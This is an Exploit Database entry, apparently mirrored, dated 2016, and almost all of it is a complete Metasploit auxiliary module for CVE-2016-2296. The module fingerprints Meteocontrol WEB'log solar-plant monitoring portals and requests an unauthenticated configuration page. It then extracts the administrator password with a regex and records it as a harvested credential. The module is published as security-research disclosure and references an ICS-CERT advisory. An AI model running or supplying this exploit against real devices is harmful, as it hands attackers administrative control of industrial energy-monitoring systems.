Meteocontrol WEB’log – Admin Password Disclosure (Metasploit)

• Exploit Database
• 23 阅读

• 作者： Karn Ganeshen
  日期： 2016-05-17
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39822/

• # Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
  # Discovered by: Karn Ganeshen
  # Vendor Homepage: [http://www.meteocontrol.com/en/]
  # Versions Reported: [All Meteocontrol WEB'log versions]
  # CVE-ID: [CVE-2016-2296]
  
  # Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]
  
  
  ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> 'Meteocontrol WEBLog Password Extractor',
  'Description' => %{
  This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.
  
  },
  'References'=>
  [
   [ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
   [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
  ],
  'Author' =>
  [
  'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
  ],
  'License'=> MSF_LICENSE
  ))
  
  register_options(
  [
  Opt::RPORT(8080)	# Application may run on a different port too. Change port accordingly.
  ], self.class)
  end
  
  def run_host(ip)
  unless is_app_metweblog?
  return
  end
  
  do_extract
  end
  
  #
  # Check if App is Meteocontrol WEBlog
  #
  
  def is_app_metweblog?
  begin
  res = send_request_cgi(
  {
  'uri' => '/html/en/index.html',
  'method'=> 'GET'
  })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
  print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
  return false
  end
  
  if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
  print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
  return true
  else
  print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
  return false
  end
  end
  
  #
  # Extract Administrator Password
  #
  
  def do_extract()
  print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
  begin
  res = send_request_cgi(
  {
  'uri' => '/html/en/confAccessProt.html',
  'method'=> 'GET'
  })
  
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
  print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
  return :abort
  end
  
  if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
  get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
  admin_password = get_admin_password[1]
  print_good("#{rhost}:#{rport} - Password is #{admin_password}")
  report_cred(
  ip: rhost,
  port: rport,
  service_name: 'Meteocontrol WEBlog Management Portal',
  password: admin_password,
  proof: res.body
  )
  else
  # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
  print_error("Password not found. Check login manually.")
  end
  end
  
  def report_cred(opts)
  service_data = {
  address: opts[:ip],
  port: opts[:port],
  service_name: opts[:service_name],
  protocol: 'tcp',
  workspace_id: myworkspace_id
  }
  
  credential_data = {
  origin_type: :service,
  module_fullname: fullname,
  username: opts[:user],
  private_data: opts[:password],
  private_type: :password
  }.merge(service_data)
  
  login_data = {
  last_attempted_at: Time.now,
  core: create_credential(credential_data),
  status: Metasploit::Model::Login::Status::SUCCESSFUL,
  proof: opts[:proof]
  }.merge(service_data)
  
  create_credential_login(login_data)
  end
  end